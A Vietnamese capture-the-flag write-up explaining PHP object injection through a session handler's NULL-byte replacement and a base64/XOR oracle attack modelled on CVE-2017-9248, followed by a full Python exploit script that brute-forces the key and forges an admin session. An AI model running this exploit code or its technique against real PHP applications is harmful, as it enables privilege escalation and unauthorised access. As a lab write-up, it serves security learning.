- Dạng bài: webapplication - Điểm: 1000 - Kiến thức liên quan: PHP Object Injection, CVE-2017-9248, Xor, brute-force

Đề bài còn cung cấp file source.zip được để trong phần comment của source của file /index.php. File source.zip này chứa toàn bộ mã nguồn của server. Chức năng của trang web này khá cơ bản gồm trang chủ, đăng nhập, đăng ký. Mỗi khi đăng ký thì được cấp một session có trường authorize mặc định là guest. Để lấy được flag thì cần đổi gía trị của biến này thành admin.
public function __construct($username, $password, $authorize=false) { $this->username = $username; $this->password = $password; $this->authorize = $authorize === false ? self::encrypt("guest") : self::encrypt($authorize); }
echo "Xin chào $current_user->username. <a href=\"logout.php\">Đăng xuất</a><br>"; if (User::decrypt($current_user->authorize) === "admin") echo $secret;
Mỗi khi đăng nhập người sử dụng được cấp một session, session này được sửa lại thành class mới class ZorkSessionHandler implements SessionHandlerInterface được lưu trong file session.php. Trong class này có quá trình đọc và ghi như sau
public function read($id) { $stmt = $this->db->prepare("SELECT * FROM sessions WHERE id=? LIMIT 1"); $stmt->bind_param("s", $id); if (!$stmt->execute()) return ""; $result = $stmt->get_result(); if ($result->num_rows == 0) return ""; $row = $result->fetch_row(); $data = $row[2]; $result->close(); return str_replace("\\0\\0\\0", chr(0)."*".chr(0), $data); } public function write($id, $data) { $data = str_replace(chr(0)."*".chr(0), "\\0\\0\\0", $data); $stmt = $this->db->prepare("REPLACE INTO sessions VALUES (?, ?, ?)"); $access = time(); $stmt->bind_param("sis", $id, $access, $data); return $stmt->execute(); }
Data của user sẽ được serialize thành dạng string: O:4:”User”:3:{s:8:”username”;s:3:”aaa”;s:8:”password”;s:3:”aaa”;s:9:”authorize”;s:5:”12345″;}. Mỗi khi ghi vào database sẽ chuyển toàn bộ các ký tự NULL*NULL thành \0\0\0 và khi đọc ra sẽ đội ngược lại. Điều này dẫn tới bug injection (https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41). Về cơ bản thì khi đọc từ database ra, nếu gặp \0\0\0 sẽ chuyển thành NULL*NULL, từ 6 ký tự thành 3 ký tự nếu inject một đoạn thích hợp thì hoàn có thể inject được trường dữ liệu vào object đó. User bị inject sẽ lưu ở trong session, sau đó sẽ lấy từ session ra làm user bị thay đổi. Như trong đề bài User được lưu trữ thành O:4:”User”:3:{s:8:”username”;s:3:”aaa”;s:8:”password”;s:3:”aaa”;s:9:”authorize”;s:5:”12345″;}. Khi chuyển dùng username là \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 có 48 ký tự và password là a”;s:8:”pass
word”;s:1:”a”;s:9:”authorize”;s:1:”1″;};s:1:”a. Sau quá trình ghi và đọc sẽ thành O:4:”User”:3:{s:8:”username”;s:48:”\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0″;s:8:”password”;s:58:”a”;s:8:”pass
word”;s:1:”a”;s:9:”authorize”;s:1:”1″;};s:1:”a”;s:9:”authorize”;s:5:”12345″;} Vì \0\0\0 sẽ chuyển thành N*N ( NULL*NULL) nên ghi lại thành O:4:”User”:3:{s:8:”username”;s:48:”NNNNNNNNNNNNNNNNNNNNNNNN”;s:8:”password”;s:58:”a”;s:8:”pass
word”;s:1:”a”;s:9:”authorize”;s:1:”1″;};s:1:”a”;s:9:”authorize”;s:5:”12345″;} và mà username cần 48 ký tự nên sẽ lấy sang phần sau cho đến phần dữ liệu của password. Cấu trúc sẽ thành O:4:”User”:3:{s:8:”username”;s:48:“NNNNNNNNNNNNNNNNNNNNNNNN”;s:8:”password”;s:58:”a”;s:8:”pass
word”;s:1:”a”;s:9:”authorize”;s:1:”1″;};s:1:”a”;s:9:”authorize”;s:5:”12345″;} ( Phần mầu đỏ là phần data của username). password và authorize mới được inject vào. Có thể viết rút gọn thành O:4:”User”:3:{s:8:”username”;s:48:“[48 ký tự]”;s:8:”password”;s:1:”a”;s:9:”authorize”;s:1:”1″;}. Từ đây hoàn toàn có thể thay đổi giá trị của authorize.
Nhưng có điều giá trị authorize đã bị mã hóa, việc thay đổi giá trị trở nên khó khăn hơn.
private function encrypt($raw) { include "config.php"; $data = base64_encode($raw); for($i = 0; $i < strlen($data); $i++) $data[$i] = chr(ord($data[$i]) ^ ord($key[$i % strlen($key)])); $enc = base64_encode($data); return $enc; } public static function decrypt($enc) { include "config.php"; $data = base64_decode($enc, true); if ($data === false) die("Đại vương gọi ta đi tuần núi!"); for($i = 0; $i < strlen($data); $i++) $data[$i] = chr(ord($data[$i]) ^ ord($key[$i % strlen($key)])); $raw = base64_decode($data, true); if ($raw === false) die("Đại vương gọi ta đi tuần núi!"); return $raw; }
Quá trình hóa và giải mã đều sử dụng base64 và xor. Cấu trúc như sau:
cipher = base64_encode(xor(base64_encode(data), key))
data = base64_decode(xor(base64_decode(cipher), key))
Quá trình giải mã thì được bắt exception nếu không base64 thành công. Kỹ thuật break decrypt sẽ giống (https://yeuchimse.com/rce-in-telerik-ui-for-asp-net-ajax-cve-2017-9248/)
Về cơ bản thuật toán break sẽ như sau:

Với đầu vào là một ma trận gồm 255 hàng, mỗi hàng là một string, với mỗi hàng chỉ khác nhau ở 1 ký tự cùng cột. từng hàng của ma trận này sẽ được xor với ký tự X. kết quả trả về là ma trận mới. ta hoàn toàn không biết giá trị của ma trận mới này mà chỉ biết mỗi hàng có thoả mãn base64 hay không. Với mỗi ma trận đầu vào, ta chỉ tìm được duy nhất một giá trị X thỏa mã kết quả đầu ra, Từ đó có thể tìm ra key X được ẩn đi.
Để biết được một dãy số chuyền bvào có thỏa mã để decodebase64 không thì cần một số trường hợp. sau (trong trường hợp server sử dụng php 7.0):
– Các ký tự là ascii_letters + digits + “+/=\x20\x0d\x0a\x09”
– Các ký tự “=” không được để nằm giữa các ký tự khác.
– Độ dài của một khối không nhất thiết phải là bội của 4.
– Riêng đối với dãy có 2 ký tự thì ký tự cuối không được là dấu bằng (=).
Từ những điều trên hoàn toàn xây dựng được code để bruteforce.
Cải tiến: Với mỗi bộ 255 chỉ cần 133 ký tự đầu là hoàn toàn có thể tìm ra được X.
Code exploit:
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
#chi ap dung php7.0 | |
import string | |
import random | |
import requests | |
import base64 | |
import uuid | |
url = "http://192.168.133.146/CTFMTA/" | |
total_request = 0 | |
def register(username, password): | |
headers = { | |
'Content-Type': 'application/x-www-form-urlencoded', | |
'Accept': 'text/html;', | |
'Cookie': 'PHPSESSID=6mljc3dpohmnack8o6lgqhl1a3' | |
} | |
payload ={} | |
payload['username'] = username | |
payload['password'] = password | |
global total_request | |
total_request += 1 | |
r = requests.post(url + 'register.php', headers = headers, data=payload) | |
if u'Đăng ký thành công.' in r.text: | |
return 1 | |
assert 1== 2 | |
return 0 | |
def login(username, password, enprint = 0): | |
sessionid = 'PHPSESSID=' + ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(26)) | |
headers = { | |
'Content-Type': 'application/x-www-form-urlencoded', | |
'Accept': 'text/html', | |
'Cookie': sessionid | |
} | |
payload ={} | |
payload['username'] = username | |
payload['password'] = password | |
global total_request | |
r = requests.post(url + 'login.php', headers = headers, data=payload, allow_redirects=False) | |
total_request += 1 | |
r = requests.get(url + 'index.php', headers = headers ) | |
total_request += 1 | |
if enprint == 1: | |
flag = r.text | |
flag = flag.split('<br>')[1]; | |
vt = flag.find("}") | |
print "Flag: ", flag[:vt+1] | |
if u'Xin chào' in r.text: | |
k = requests.get(url + 'logout.php', headers = headers ) | |
total_request += 1 | |
if (u'Đại vương gọi ta đi tuần núi!' in r.text): | |
return 2 | |
return 1 | |
assert 1==2 | |
return 0 | |
def exploit(s, enprint = 0): | |
res = 0 | |
s = base64.b64encode(s) | |
username = '\\0'*24 | |
password = 'a";s:8:"password";s:1:"a";s:9:"authorize";s:{}:"{}";}};s:1:"a'.format(len(s),s) | |
while (res == 0): | |
username_temp = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(20)) + username | |
res = register(username_temp, password) | |
username = username_temp | |
if (enprint == 1): | |
print "[Exploit] username, password: ", username, password | |
return login(username, password, enprint) | |
def find_char(ans, sl = 4): | |
res = 2 | |
while (res != 1 ): | |
temp = ''.join(chr(random.randint(0, 255)) for _ in range(sl)) | |
res = exploit(ans + temp); | |
assert res != 0 | |
return temp | |
#cau truc O user = O:4:"User":3:{s:8:"username";s:3:"aaa";s:8:"password";s:3:"aaa";s:9:"authorize";s:5:"12345";} | |
#cau truc O userinject | |
# 'O:4:"User":3:{s:8:"username";s:25:"a";s:8:"password";s:10:"a";s:8:"password";s:1:"a";s:9:"authorize";s:5:"12345";};s:1:"a"};s:9:"authorize";s:5:"12345"}'; | |
##========================================================================== | |
STRING_OF_KEY = "" | |
LIB_OF_XOR_BASE64 = []; | |
LIB_OF_XOR_BASE64_NOT_1 = []; | |
def super_xor(a, b): | |
ans = "" | |
for i in range(len(a)): | |
ans += chr(ord(a[i]) ^ ord(b[i % len(b)])); | |
return ans | |
def generator(size_of_key, string_of_base64, length_brute): | |
ans = [] | |
for i in range(size_of_key): | |
ans.append(0); | |
for j in range(length_brute): | |
ans[-1]*=2; | |
if (chr(i^j) in string_of_base64): | |
ans[-1]+=1; | |
return ans | |
def getkey(): | |
SIZE_OF_KEY = 256; | |
length_brute = 140; | |
# khong gian khoa cua key | |
# 128 chi can khong gian 77 | |
# 256 chi can khong gian 133 | |
global STRING_OF_KEY, LIB_OF_XOR_BASE64, LIB_OF_XOR_BASE64_NOT_1 | |
STRING_OF_BASE64 = string.ascii_letters + string.digits + "+/=\x20\x0d\x0a\x09" | |
LIB_OF_XOR_BASE64 = generator(SIZE_OF_KEY,STRING_OF_BASE64, length_brute) | |
# tao ra mang hang cac truong hop co the sinh ra khi xor key voi khong quan khoa | |
STRING_OF_BASE64_NOT_1 = string.ascii_letters + string.digits + "+/\x20\x0d\x0a\x09" | |
LIB_OF_XOR_BASE64_NOT_1 = generator(SIZE_OF_KEY,STRING_OF_BASE64_NOT_1, length_brute) | |
STRING_OF_KEY = "".join(chr(i) for i in range(SIZE_OF_KEY)) | |
return length_brute | |
def bruteforce_key(length_key, length_brute): | |
global STRING_OF_KEY, LIB_OF_XOR_BASE64, LIB_OF_XOR_BASE64_NOT_1 | |
ans_xor = ""; | |
ans = ""; | |
for i in range(length_key): | |
print "Find ", i | |
idnumber = 0; | |
for ch in STRING_OF_KEY[:length_brute]: | |
idnumber *= 2; | |
stringtest = ans_xor + ch | |
ck = exploit(stringtest) | |
if ck == 1: | |
idnumber += 1 | |
#theo version php 7.0 | |
if (i%4 != 1): | |
ans_char = LIB_OF_XOR_BASE64.index(idnumber) | |
else: | |
ans_char = LIB_OF_XOR_BASE64_NOT_1.index(idnumber) | |
print "OK: ", chr(ans_char).encode('hex'), total_request | |
ans += chr(ans_char) | |
ans_xor += chr(ans_char^ord('a')) | |
print "[KEY] ", ans.encode('hex') | |
payload = super_xor(base64.b64encode("admin"), ans); | |
print "[KEY INJECT] " , payload | |
exploit(payload, 1) | |
def bypass_xor(): | |
length_brute = getkey() | |
print "generater ok" | |
bruteforce_key(8, length_brute); | |
if __name__ == '__main__': | |
bypass_xor(); |

Tài liệu tham khảo:
– https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41
– https://yeuchimse.com/rce-in-telerik-ui-for-asp-net-ajax-cve-2017-9248/